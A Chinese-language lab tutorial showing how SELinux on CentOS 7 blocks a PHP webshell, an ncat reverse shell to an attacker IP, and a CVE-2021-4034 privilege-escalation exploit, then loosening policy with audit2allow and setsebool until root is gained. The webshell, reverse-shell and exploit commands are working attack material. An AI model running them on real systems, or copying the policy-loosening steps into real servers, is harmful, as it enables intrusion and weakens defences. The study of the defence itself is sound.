SELinux 是一套複雜的防禦機制,但好不好用就見仁見智。不過這邊先就我自身慘痛的經歷來說明,讓大家感覺一下這套機制有多嚴苛與安全。
先用 CentOS 7來建立個簡單的測試環境,裡面會安裝一個 web server 跟加入 webshell 來進行測試。
#確認 SELinux 有啟動
sestatus ;
# 關閉防火牆的阻擋
sudo systemctl stop firewalld ;
sudo yum install httpd php -y ;
# 讓 httpd 服務設定生效
sudo systemctl enable httpd ;
# 啟動 httpd 服務
sudo systemctl start httpd ;
sudo vim /var/www/html/webshell.php ;
<?php
system($_GET['ant']);
?>
Server_IP="192.168.56.116"
Attack_IP="192.168.56.101"
#確認路徑位址
curl http://$Server_IP/webshell.php?ant=pwd ;
#確認身分
curl http://$Server_IP/webshell.php?ant=whoami ;
#開新視窗監聽,等待 reverse shell 回來
nc -lp 8888 ;
#因為不是透過瀏覽器送出去的,所以後面的部分要做 URL encode
curl "http://$Server_IP/webshell.php?ant=ncat%20-e%20%2Fbin%2Fsh%20$Attack_IP%208888" ;
Server_IP="192.168.56.116"
Attack_IP="192.168.56.101"
ncat -e /bin/sh $Attack_IP 8888 ;
sudo su ;
tail -f /var/log/audit/audit.log ;
# 再次測試一次回打 reverse shell 的連線
此時會發現一個有趣(?)的訊息,似乎意味著連線是失敗的。
type=AVC msg=audit(1688090200.170:255): avc: denied { name_connect } for pid=4369 comm="ncat" dest=8888 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:unreserved_port_t:s0 tclass=tcp_socket permissive=0
這段訊息中的 system_u:system_r:httpd_t:s0 算是最有趣的,這個格式以後再說。但之後看到這個格式就可以猜到應該是 SELinux 搞的鬼。這邊先說要怎麼解決。
先來安裝一些輔助工具,像是 sesearch、getfattr 等指令。
sudo yum install setools-console attr -y ;
sudo yum install setroubleshoot-server -y ;
# 顯示最近觸發的 AVC 規則內容
sudo ausearch -m AVC -ts recent ;
# 顯示觸發內容的相關資訊,這邊會包含修復建議,大部分都照著做就可以了
sealert -l "*" ;
sudo ausearch -c 'ncat' --raw | sudo audit2allow -M my-ncat ;
sudo semodule -i my-ncat.pp ;
# 然後在執行一次 web shell 的回打流程, 會發現回打成功
cd /tmp ;
git clone https://github.com/arthepsy/CVE-2021-4034.git ;
cd CVE-2021-4034 ;
gcc cve-2021-4034-poc.c ;
whoami ;
./a.out ;
#提權失敗QQ
whoami ;
此時有沒有一種原地跳起來,然後又落回原地的感覺,根本沒提到權啊。再次去看一下 /var/log/audit/audit.log 底下的資料。
type=AVC msg=audit(1688093181.856:565): avc: denied { execute_no_trans } for pid=7561 comm="sh" path="/tmp/CVE-2021-4034/a.out" dev="dm-0" ino=36183933 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:httpd_tmp_t:s0 tclass=file permissive=0
又是 SELinux 搞的鬼~~ 哪這次又要怎麼修呢?
# 顯示最近觸發的 AVC 規則內容
sudo ausearch -m AVC -ts recent ;
# 顯示觸發內容的相關資訊,這邊會包含修復建議,大部分都照著做就可以了
sealert -l "*" ;
sudo setsebool -P httpd_tmp_exec 1 ;
#再用一次提權做做看
whoami ;
./a.out ;
#提權成功, root!!!
whoami ;
有沒有突然覺得 SELinux 很安全,但是要開放例外真的也很難處理。因為它的開放方式也是讀取被阻擋的日誌資訊再決定要開放的項目。
今日總結 :